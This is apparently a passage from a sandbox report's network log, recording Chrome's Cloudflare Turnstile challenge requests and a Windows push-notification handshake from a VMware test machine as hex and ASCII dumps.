v_8793fe7a3eb209f1=vUk8RD5neg1akDxUiBJjG-eiUAxJwMl8kU5lMv8DkMnM88Q38M$kMG8ie5OM08A15ji2JMJaXAMuBAMa35du25A880MY3DPMjKDiMay-KZMs8DBca5-NA7Zhj3JPMmPk5oMm0SKM5f85IAiS84M2jMu3MQjK5Qg-N15c0k85v3wmfU8MN1-gD3NQuHQ8sqjRkMJXAM5P$8lugoAHmHiJclMwg-8NTwlMm60EVx34HMxI
2024-04-24 06:21:42 UTC	12645	OUT	Data Raw: 74 48 71 48 6b 4d 32 50 53 53 4a 4d 44 4c 78 57 5a 56 4b 32 38 41 4d 39 4d 44 4b 4d 24 4d 4a 4d 32 44 62 4a 4d 61 4d 41 6e 31 66 4d 58 33 4a 33 35 52 4d 56 31 4d 31 35 6c 4d 73 38 69 55 35 5a 4d 4b 4b 69 6a 53 6d 4d 64 4b 32 4e 35 75 4d 70 4b 69 31 35 68 4d 56 4b 4a 24 4d 65 4d 6a 4d 4a 6a 4d 51 4d 67 33 35 42 35 6f 4d 6d 33 4a 6e 4d 4e 4d 24 4b 35 74 62 62 4d 64 4d 41 4b 4d 47 4d 43 4b 35 4d 4d 70 4d 6b 38 35 33 35 2d 38 4a 38 44 33 4d 55 4d 58 33 75 67 4d 67 38 4d 38 75 38 4a 64 4d 58 38 75 55 35 56 4b 41 4d 44 41 4d 73 65 75 4d 51 4e 4d 75 4d 4a 4d 75 47 35 76 4d 79 4b 32 24 4d 33 4d 47 33 44 39 38 44 4d 36 33 44 38 35 56 4d 4f 6e 53 31 35 4a 38 35 33 4d 58 35 6d 31 4f 61 41 31 4d 68 4d 6c 4d 4d 24 44 34 31 51 4b 6a 24 4a 49 4d 62 4b 51 24 4a 4a 4d 71 Data Ascii: tHqHkM2PSSJMDLxWZVK28AM9MDKM$MJM2DbJMaMAn1fMX3J35RMV1M15lMs8iU5ZMKKijSmMdK2N5uMpKi15hMVKJ$MeMjMJjMQMg35B5oMm3JnMNM$K5tbbMdMAKMGMCK5MMpMk8535-8J8D3MUMX3ugMg8M8u8JdMX8uU5VKAMDAMseuMQNMuMJMuG5vMyK2$M3MG3D98DM63D85VMOnS15J853MX5m1OaA1MhMlMM$D41QKj$JIMbKQ$JJMq
2024-04-24 06:21:42 UTC	350	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:42 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: ACR8Ii+/Om77dep9ja6Qdv4Mdw9SNINjs6NJavN65KgiT6OJKHyZColGW8ge+i8B$NwajMBl8rsUhbP3x1rvhWw== vary: accept-encoding Server: cloudflare CF-RAY: 8793fea4ee3209fd-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:42 UTC	1019	IN	Data Raw: 36 30 31 0d 0a 6a 62 79 31 78 4c 2b 6b 6e 33 6d 30 68 4a 65 4b 74 35 6d 70 68 36 2b 72 77 61 47 75 78 34 36 6c 73 73 79 76 75 72 58 51 76 38 69 2f 6e 4a 36 61 6e 61 47 67 78 4f 69 70 77 63 65 6d 78 71 33 44 78 76 44 50 7a 61 62 69 35 4d 54 4a 39 4e 58 76 2f 66 50 56 7a 50 50 53 7a 2f 7a 35 2b 76 48 58 33 64 58 61 34 4f 6b 4d 42 66 33 62 77 39 45 47 35 74 2f 65 44 4f 54 68 30 41 6a 36 43 68 6b 63 31 75 6f 63 47 2b 2f 38 38 65 51 69 35 79 6b 4d 42 67 62 36 36 51 62 39 48 65 6f 67 4d 41 30 54 38 66 59 72 4a 7a 45 65 4a 78 30 32 4e 78 45 77 4f 54 34 5a 4d 6a 74 42 47 52 5a 42 43 7a 38 36 51 30 6c 50 4c 55 74 4e 51 30 68 50 4f 44 55 79 57 6a 31 55 4e 31 6f 31 46 57 49 31 52 6d 4a 5a 53 6a 31 71 57 31 78 6a 54 55 74 4e 4b 48 4e 4c 64 46 64 75 52 6e 51 33 55 6c Data Ascii: 601jby1xL+kn3m0hJeKt5mph6+rwaGux46lssyvurXQv8i/nJ6anaGgxOipwcemxq3DxvDPzabi5MTJ9NXv/fPVzPPSz/z5+vHX3dXa4OkMBf3bw9EG5t/eDOTh0Aj6Chkc1uocG+/88eQi5ykMBgb66Qb9HeogMA0T8fYrJzEeJx02NxEwOT4ZMjtBGRZBCz86Q0lPLUtNQ0hPODUyWj1UN1o1FWI1RmJZSj1qW1xjTUtNKHNLdFduRnQ3Ul
2024-04-24 06:21:42 UTC	525	IN	Data Raw: 65 6c 72 4b 74 2f 6c 61 46 34 6a 71 4f 54 66 48 6d 49 79 72 4b 57 6d 61 62 46 76 63 71 49 75 72 53 4e 74 4b 44 4e 30 38 66 4d 6d 4d 54 52 32 71 6e 51 73 63 71 68 72 61 32 65 70 4b 4f 35 70 4c 2f 48 35 4d 54 46 79 38 4b 38 79 61 76 4e 72 4e 4c 70 36 2f 72 6b 7a 2b 6e 6f 30 2f 6a 79 30 4d 33 63 41 66 37 41 32 51 44 58 31 73 76 44 34 75 76 49 41 65 6e 71 42 75 6e 70 39 2b 37 68 43 65 6e 4f 37 51 33 77 2b 64 77 53 38 2f 30 63 47 50 62 78 49 78 76 32 4b 79 51 67 41 44 45 53 4a 41 4d 4b 48 75 34 72 46 41 63 33 4b 66 77 57 45 67 77 77 47 2f 73 38 49 52 78 46 50 67 49 70 4e 7a 59 6d 46 79 46 4d 52 6c 45 78 50 7a 52 43 56 69 4e 48 54 7a 45 32 48 55 64 49 56 31 73 72 49 52 38 36 56 31 49 69 4d 54 56 6f 4e 46 5a 71 4f 6a 74 4c 63 45 64 7a 4c 57 78 44 55 53 39 57 53 Data Ascii: elrKt/laF4jqOTfHmIyrKWmabFvcqIurSNtKDN08fMmMTR2qnQscqhra2epKO5pL/H5MTFy8K8yavNrNLp6/rkz+no0/jy0M3cAf7A2QDX1svD4uvIAenqBunp9+7hCenO7Q3w+dwS8/0cGPbxIxv2KyQgADESJAMKHu4rFAc3KfwWEgwwG/s8IRxFPgIpNzYmFyFMRlExPzRCViNHTzE2HUdIV1srIR86V1IiMTVoNFZqOjtLcEdzLWxDUS9WS
2024-04-24 06:21:42 UTC	1369	IN	Data Raw: 31 39 36 62 0d 0a 42 48 34 49 54 77 56 46 54 6f 64 51 68 34 4b 4a 6c 46 51 52 42 41 53 52 55 45 31 4f 56 42 4d 56 46 59 64 4c 56 6c 4b 57 6b 46 44 50 56 6f 39 51 45 74 6b 4f 6c 70 59 50 6b 42 76 61 6d 39 77 63 46 35 7a 4d 58 55 77 57 6a 4e 59 62 48 35 53 59 44 70 2b 56 57 5a 6b 63 47 6c 55 65 48 31 73 56 57 6c 58 61 6d 39 70 68 59 68 6b 68 6d 75 4c 5a 6d 78 34 68 6c 70 37 6e 5a 74 5a 67 59 78 7a 6c 49 61 53 59 35 36 4a 69 46 36 67 66 59 42 77 6e 49 4b 65 74 4b 47 45 73 36 53 6e 64 47 32 4c 70 35 71 64 6a 48 75 35 78 4b 7a 47 68 63 53 70 67 62 57 73 6e 62 79 49 77 36 44 44 6e 36 2b 66 30 39 66 4a 77 72 69 57 30 35 75 50 6d 4a 58 55 6e 4a 75 62 76 61 58 44 78 4b 44 56 71 61 69 2b 70 4d 50 47 78 4b 75 6f 78 4c 43 2b 73 63 54 32 32 50 6a 49 79 63 58 38 78 38 Data Ascii: 196bBH4ITwVFTodQh4KJlFQRBASRUE1OVBMVFYdLVlKWkFDPVo9QEtkOlpYPkBvam9wcF5zMXUwWjNYbH5SYDp+VWZkcGlUeH1sVWlXam9phYhkhmuLZmx4hlp7nZtZgYxzlIaSY56JiF6gfYBwnIKetKGEs6SndG2Lp5qdjHu5xKzGhcSpgbWsnbyIw6DDn6+f09fJwriW05uPmJXUnJubvaXDxKDVqai+pMPGxKuoxLC+scT22PjIycX8x8
2024-04-24 06:21:42 UTC	1369	IN	Data Raw: 49 42 59 6b 51 67 4d 61 42 7a 6c 50 52 51 6f 6b 4b 54 59 70 48 7a 64 4c 53 42 74 51 4f 52 5a 65 4d 57 42 4d 59 52 30 58 55 56 41 68 4b 54 74 58 52 46 78 49 61 56 78 51 4b 43 6b 78 4a 30 5a 72 65 47 78 69 4d 56 56 46 54 45 39 74 59 6e 56 59 64 46 39 69 50 32 4e 62 5a 32 78 69 61 55 5a 73 67 6d 6c 4a 63 34 35 4e 67 6d 4a 31 56 6d 35 31 57 49 39 37 6d 49 75 4a 59 5a 56 36 6c 61 57 48 6b 59 4f 43 63 32 6c 73 6d 71 6d 4d 66 36 42 39 61 70 31 73 71 47 35 32 6f 6f 36 39 72 71 71 52 73 5a 6c 35 6f 72 2b 5a 76 36 47 46 75 72 54 48 76 73 48 45 6e 4d 6e 43 72 6f 36 38 6b 63 47 69 77 74 6d 72 6a 64 50 48 31 74 75 66 32 73 79 2b 74 4f 50 51 73 65 48 6d 73 74 62 48 6f 38 48 68 71 4c 76 4e 78 39 48 4b 77 38 53 79 74 50 4c 6f 7a 66 33 35 31 76 53 39 2f 50 6a 34 30 65 2f Data Ascii: IBYkQgMaBzlPRQokKTYpHzdLSBtQORZeMWBMYR0XUVAhKTtXRFxIaVxQKCkxJ0ZreGxiMVVFTE9tYnVYdF9iP2NbZ2xiaUZsgmlJc45NgmJ1Vm51WI97mIuJYZV6laWHkYOCc2lsmqmMf6B9ap1sqG52oo69rqqRsZl5or+Zv6GFurTHvsHEnMnCro68kcGiwtmrjdPH1tuf2sy+tOPQseHmstbHo8HhqLvNx9HKw8SytPLozf351vS9/Pj40e/
2024-04-24 06:21:42 UTC	1369	IN	Data Raw: 51 38 6f 4c 43 63 4e 4d 68 41 31 55 43 68 54 4c 56 78 53 57 6c 52 55 4f 56 5a 61 51 55 52 55 49 57 49 6e 57 44 6c 6e 62 56 70 4b 4a 53 68 44 4f 6b 46 66 4c 55 51 76 54 56 5a 31 53 46 4a 46 54 6e 74 33 4e 32 31 4f 59 31 6c 43 65 6e 55 2f 69 59 78 31 52 30 69 47 6b 59 42 53 55 31 4e 2f 55 58 57 42 56 5a 42 6c 57 4a 4a 2f 61 58 57 54 57 32 43 53 65 36 4b 49 58 34 6d 58 68 33 32 58 64 34 64 6f 6b 6e 71 46 6f 6f 4f 57 70 37 4b 61 6d 70 68 75 75 5a 4b 34 65 5a 71 35 6c 35 4f 4f 75 59 44 41 6d 49 47 34 70 36 33 4c 75 36 61 5a 69 72 48 4d 6b 4e 4b 72 72 39 4c 52 7a 61 61 56 6d 62 62 53 74 39 79 76 7a 74 2b 77 73 64 32 33 70 71 54 47 36 4d 44 63 33 2b 4c 70 36 72 4c 67 37 65 72 73 31 38 7a 50 75 4d 33 74 79 4d 37 4d 30 74 76 33 30 64 44 66 31 72 76 6a 34 75 69 2f Data Ascii: Q8oLCcNMhA1UChTLVxSWlRUOVZaQURUIWInWDlnbVpKJShDOkFfLUQvTVZ1SFJFTnt3N21OY1lCenU/iYx1R0iGkYBSU1N/UXWBVZBlWJJ/aXWTW2CSe6KIX4mXh32Xd4doknqFooOWp7KamphuuZK4eZq5l5OOuYDAmIG4p63Lu6aZirHMkNKrr9LRzaaVmbbSt9yvzt+wsd23pqTG6MDc3+Lp6rLg7ers18zPuM3tyM7M0tv30dDf1rvj4ui/
2024-04-24 06:21:42 UTC	1369	IN	Data Raw: 42 4c 44 31 41 35 4b 6a 52 4c 50 44 78 52 51 42 68 58 4f 55 4e 43 4a 46 42 65 57 46 74 42 56 47 52 66 52 6c 46 70 4b 6d 41 73 56 58 52 50 4e 30 52 74 55 30 38 31 53 33 70 65 65 56 4a 59 54 30 35 53 5a 46 31 36 68 45 64 57 57 30 5a 47 61 56 75 42 5a 32 68 6a 62 33 5a 73 68 34 56 35 63 6c 56 51 6b 48 6c 63 64 36 53 50 59 58 75 55 6e 71 57 4c 71 36 4a 32 6f 34 32 6e 68 4b 46 37 63 48 4f 33 6f 59 32 59 72 58 57 62 6e 70 65 4a 69 4b 32 34 6e 72 75 62 73 59 44 42 69 63 57 31 78 61 4f 72 68 5a 79 36 76 36 4b 75 31 73 33 51 77 4b 7a 51 6b 74 48 51 79 71 6a 52 75 39 57 65 6d 72 76 56 77 73 50 49 79 2b 54 68 70 71 58 42 7a 4c 36 37 34 66 54 43 72 4e 6a 48 78 62 4c 58 32 4d 76 49 7a 2b 75 33 37 64 33 36 38 63 44 5a 31 66 30 48 42 2f 6e 62 36 67 62 4e 35 77 51 47 31 Data Ascii: BLD1A5KjRLPDxRQBhXOUNCJFBeWFtBVGRfRlFpKmAsVXRPN0RtU081S3peeVJYT05SZF16hEdWW0ZGaVuBZ2hjb3Zsh4V5clVQkHlcd6SPYXuUnqWLq6J2o42nhKF7cHO3oY2YrXWbnpeJiK24nrubsYDBicW1xaOrhZy6v6Ku1s3QwKzQktHQyqjRu9WemrvVwsPIy+ThpqXBzL674fTCrNjHxbLX2MvIz+u37d368cDZ1f0HB/nb6gbN5wQG1
2024-04-24 06:21:42 UTC	1039	IN	Data Raw: 33 4e 7a 73 66 4d 6a 38 76 57 6b 78 57 58 54 31 63 58 45 74 54 52 32 49 6e 50 57 5a 69 5a 57 64 6b 55 32 6b 77 62 57 78 78 4c 57 35 77 58 33 64 75 64 6a 70 33 65 57 4e 38 68 33 31 2f 57 32 42 74 67 45 74 68 61 33 46 36 67 6d 70 39 5a 49 61 44 6a 59 78 58 64 58 68 76 6c 6e 56 2b 66 35 2b 5a 68 47 4a 67 6e 4a 35 6e 6d 34 6d 68 69 71 2b 59 6b 48 2b 79 6e 4b 32 44 74 6f 36 68 68 34 69 57 6d 58 61 59 6e 5a 36 31 72 71 53 66 6f 72 2b 34 76 34 65 6c 76 38 54 47 75 73 61 77 6a 36 32 31 79 38 32 74 6f 73 79 33 7a 39 48 47 72 39 61 33 76 4a 71 34 30 63 48 44 77 4f 54 45 6f 61 76 4e 79 72 75 73 32 4e 4c 6c 30 4e 7a 54 72 65 72 69 31 74 6a 6d 31 74 72 78 76 39 2f 64 39 66 72 75 37 64 50 55 34 75 58 43 35 4f 6e 71 41 76 72 77 36 2b 34 4d 42 51 7a 54 38 51 77 52 45 77 Data Ascii: 3NzsfMj8vWkxWXT1cXEtTR2InPWZiZWdkU2kwbWxxLW5wX3dudjp3eWN8h31/W2BtgEtha3F6gmp9ZIaDjYxXdXhvlnV+f5+ZhGJgnJ5nm4mhiq+YkH+ynK2Dto6hh4iWmXaYnZ61rqSfor+4v4elv8TGusawj621y82tosy3z9HGr9a3vJq40cHDwOTEoavNyrus2NLl0NzTreri1tjm1trxv9/d9fru7dPU4uXC5OnqAvrw6+4MBQzT8QwREw
2024-04-24 06:21:42 UTC	1369	IN	Data Raw: 62 34 30 0d 0a 4e 6b 4e 4c 53 43 55 6d 53 55 30 39 61 56 4a 51 5a 32 6c 53 56 44 42 78 56 56 74 61 54 31 35 61 64 47 4e 64 58 6d 4a 66 5a 32 52 6d 56 33 5a 6f 66 34 56 67 62 55 6c 39 63 6e 43 49 59 33 56 30 6a 46 4a 32 65 4a 43 4e 66 33 78 2b 64 34 4b 42 63 6f 65 41 68 34 5a 2f 69 49 6d 67 6d 59 47 4e 70 4a 32 4d 6b 59 4b 6c 6f 70 52 78 71 5a 65 59 6d 70 75 51 6e 62 4f 35 6e 71 43 34 66 71 4b 69 70 70 2b 6b 71 5a 71 62 71 71 32 75 6f 36 32 7a 73 71 2b 79 74 63 76 52 75 37 6d 71 71 37 43 38 76 71 2f 4f 77 62 4b 2f 78 4d 58 63 32 63 72 4a 79 74 33 50 7a 4f 53 71 7a 39 48 6f 78 39 62 55 31 75 58 5a 31 74 72 50 33 39 2f 65 32 2b 4c 67 34 74 50 6a 35 66 7a 66 33 4f 6a 71 36 2f 72 74 37 74 2f 6c 38 66 4c 33 39 2f 51 4d 45 76 54 32 45 64 62 36 2f 75 34 45 41 51 Data Ascii: b40NkNLSCUmSU09aVJQZ2lSVDBxVVtaT15adGNdXmJfZ2RmV3Zof4VgbUl9cnCIY3V0jFJ2eJCNf3x+d4KBcoeAh4Z/iImgmYGNpJ2MkYKlopRxqZeYmpuQnbO5nqC4fqKipp+kqZqbqq2uo62zsq+ytcvRu7mqq7C8vq/OwbK/xMXc2crJyt3PzOSqz9Hox9bU1uXZ1trP39/e2+Lg4tPj5fzf3Ojq6/rt7t/l8fL39/QMEvT2Edb6/u4EAQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49762	104.17.3.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:43 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:43 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 06:21:43 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: flcCqEbP2ZDWa0EQfVe70w==$frx/Y6ql2cTGthUaQqZ+IA== Server: cloudflare CF-RAY: 8793feaacaa8a982-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 06:21:43 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49763	20.10.31.115	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:56 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 41 52 35 59 69 70 50 6b 48 6b 47 4b 45 56 69 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 35 64 35 65 35 38 30 34 63 34 30 64 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: AR5YipPkHkGKEVim.1Context: 7e5d5e5804c40de
2024-04-24 06:21:56 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-24 06:21:56 UTC	1063	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 30 0d 0a 4d 53 2d 43 56 3a 20 41 52 35 59 69 70 50 6b 48 6b 47 4b 45 56 69 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 35 64 35 65 35 38 30 34 63 34 30 64 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 48 4d 75 73 42 48 42 36 33 45 50 4e 34 55 6f 64 35 6e 45 35 4f 6d 52 4c 76 52 36 59 45 78 64 46 6b 56 78 6e 70 34 4b 53 59 59 6c 44 53 67 43 47 65 44 76 48 72 61 68 54 4f 72 6f 31 6a 6a 39 32 70 57 59 43 61 62 44 77 58 7a 7a 6e 34 4f 67 30 78 46 4a 2f 33 6c 59 57 79 4b 65 6e 61 30 46 76 53 34 51 33 33 37 4d 4d 2b 79 78 42 51 Data Ascii: ATH 2 CON\DEVICE 1040MS-CV: AR5YipPkHkGKEVim.2Context: 7e5d5e5804c40de<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcHMusBHB63EPN4Uod5nE5OmRLvR6YExdFkVxnp4KSYYlDSgCGeDvHrahTOro1jj92pWYCabDwXzzn4Og0xFJ/3lYWyKena0FvS4Q337MM+yxBQ
2024-04-24 06:21:56 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 41 52 35 59 69 70 50 6b 48 6b 47 4b 45 56 69 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 65 35 64 35 65 35 38 30 34 63 34 30 64 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: AR5YipPkHkGKEVim.3Context: 7e5d5e5804c40de<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-24 06:21:57 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-24 06:21:57 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 69 41 31 41 67 55 4a 54 55 65 7a 55 35 35 62 4f 39 68 51 4d 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /iA1AgUJTUezU55bO9hQMw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49764	104.17.2.184	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:56 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/862063700:1713935735:n_kDzPRHRfNhpmTiH_iizdB-6K4G1lTc2-dx7iY2jIs/8793fe7a3eb209f1/e5ab976078d7bfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32162 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: e5ab976078d7bfd sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/gl5s2/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:56 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 33 66 65 37 61 33 65 62 32 30 39 66 31 3d 76 55 6b 38 52 44 35 6e 65 67 31 61 6b 44 78 55 69 42 4a 6a 47 2d 65 69 55 41 78 4a 77 4d 6c 38 6b 55 35 6c 4d 76 38 44 6b 4d 6e 4d 38 38 51 33 38 4d 24 6b 4d 47 38 69 65 35 4f 4d 30 38 41 31 35 6a 69 32 4a 4d 4a 61 58 41 4d 75 42 41 4d 61 33 35 64 75 32 35 41 38 38 30 4d 59 33 44 50 4d 6a 4b 44 69 4d 61 79 2d 4b 5a 4d 73 38 44 42 63 61 35 2d 4e 41 37 5a 68 6a 33 4a 50 4d 6d 50 6b 35 6f 4d 6d 30 53 4b 4d 35 66 38 35 49 41 69 53 38 34 4d 32 6a 4d 75 33 4d 51 6a 4b 35 51 67 2d 4e 31 35 63 30 6b 38 35 76 33 77 6d 66 55 38 4d 4e 31 2d 67 44 33 4e 51 75 48 51 38 73 71 6a 52 6b 4d 4a 58 41 4d 35 50 24 38 6c 75 67 6f 41 48 6d 48 69 4a 63 6c 4d 77 67 2d 38 4e 54 77 6c 4d 6d 36 30 45 56 78 33 34 48 4d 78 49 Data Ascii: v_8793fe7a3eb209f1=vUk8RD5neg1akDxUiBJjG-eiUAxJwMl8kU5lMv8DkMnM88Q38M$kMG8ie5OM08A15ji2JMJaXAMuBAMa35du25A880MY3DPMjKDiMay-KZMs8DBca5-NA7Zhj3JPMmPk5oMm0SKM5f85IAiS84M2jMu3MQjK5Qg-N15c0k85v3wmfU8MN1-gD3NQuHQ8sqjRkMJXAM5P$8lugoAHmHiJclMwg-8NTwlMm60EVx34HMxI
2024-04-24 06:21:56 UTC	15778	OUT	Data Raw: 74 48 71 48 6b 4d 32 50 53 53 4a 4d 44 4c 78 57 5a 56 4b 32 38 41 4d 39 4d 44 4b 4d 24 4d 4a 4d 32 44 62 4a 4d 61 4d 41 6e 31 66 4d 58 33 4a 33 35 52 4d 56 31 4d 31 35 6c 4d 73 38 69 55 35 5a 4d 4b 4b 69 6a 53 6d 4d 64 4b 32 4e 35 75 4d 70 4b 69 31 35 68 4d 56 4b 4a 24 4d 65 4d 6a 4d 4a 6a 4d 51 4d 67 33 35 42 35 6f 4d 6d 33 4a 6e 4d 4e 4d 24 4b 35 74 62 62 4d 64 4d 41 4b 4d 47 4d 43 4b 35 4d 4d 70 4d 6b 38 35 33 35 2d 38 4a 38 44 33 4d 55 4d 58 33 75 67 4d 67 38 4d 38 75 38 4a 64 4d 58 38 75 55 35 56 4b 41 4d 44 41 4d 73 65 75 4d 51 4e 4d 75 4d 4a 4d 75 47 35 76 4d 79 4b 32 24 4d 33 4d 47 33 44 39 38 44 4d 36 33 44 38 35 56 4d 4f 6e 53 31 35 4a 38 35 33 4d 58 35 6d 31 4f 61 41 31 4d 68 4d 6c 4d 4d 24 44 34 31 51 4b 6a 24 4a 49 4d 62 4b 51 24 4a 4a 4d 71 Data Ascii: tHqHkM2PSSJMDLxWZVK28AM9MDKM$MJM2DbJMaMAn1fMX3J35RMV1M15lMs8iU5ZMKKijSmMdK2N5uMpKi15hMVKJ$MeMjMJjMQMg35B5oMm3JnMNM$K5tbbMdMAKMGMCK5MMpMk8535-8J8D3MUMX3ugMg8M8u8JdMX8uU5VKAMDAMseuMQNMuMJMuG5vMyK2$M3MG3D98DM63D85VMOnS15J853MX5m1OaA1MhMlMM$D41QKj$JIMbKQ$JJMq
2024-04-24 06:21:57 UTC	1182	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out-s: lS4DvDGkzD4lRTGUaxhVNaNj6p70ST5Qm1dlsIBsxObll8acMhv3NJC145wzWuJC+WR/l2/T7Sfyh3PZcRZTaylnEek2gnOVOZAhgoWgtDxbQIO6NLkJ7VFfiVsS5EutcdBbtXOdcvcBiCeFMqPwN6E/4Xw6JPA/Gbv45qm4jYfpQMb/ACV1xwo0oVIx8GFqpiP8cSm5sjRJaoDpSl+h5bGl5E9/LRgXd6LFpHUzuRnEPCEZRDz1gsglDBP5cCPBEIf8XK/IPu7K3lp6KuCVphrWCveaThrYGBXMnRFyLYn47VuPG6CYbEZ+4LfXEchkD3tAwmtHy3swMIsS0ttBaMajYxaTAnHQJZ197DU2POH/psOtwsCEJkDkPWWH2n9sntcDrf1y6RsG3UKIuJ15SC2O9w9YBT/6LFKe/kwIgN6PVpMzkqz4p6UojRtHp++QnZ4blUknOdY4GTUOq6/FmMgkpmf+MEfT6jjYtLxD4JF93oDAyerGbaUqTr4dhkC++rAPPfHO29Yx0BQ8b0JKZCK1OporRBS4TTsh2kCRaX7bmza5c0vxKKUjh6CO3gSmz753OXujl2JEcvmo4q7OWg3VLpGaDe/R+4d4qTUqP/BveWIwVFe+D39HDvvvKkISt7KIHEc9ziGcxclb/zAM+x7L04XWIREnGOdA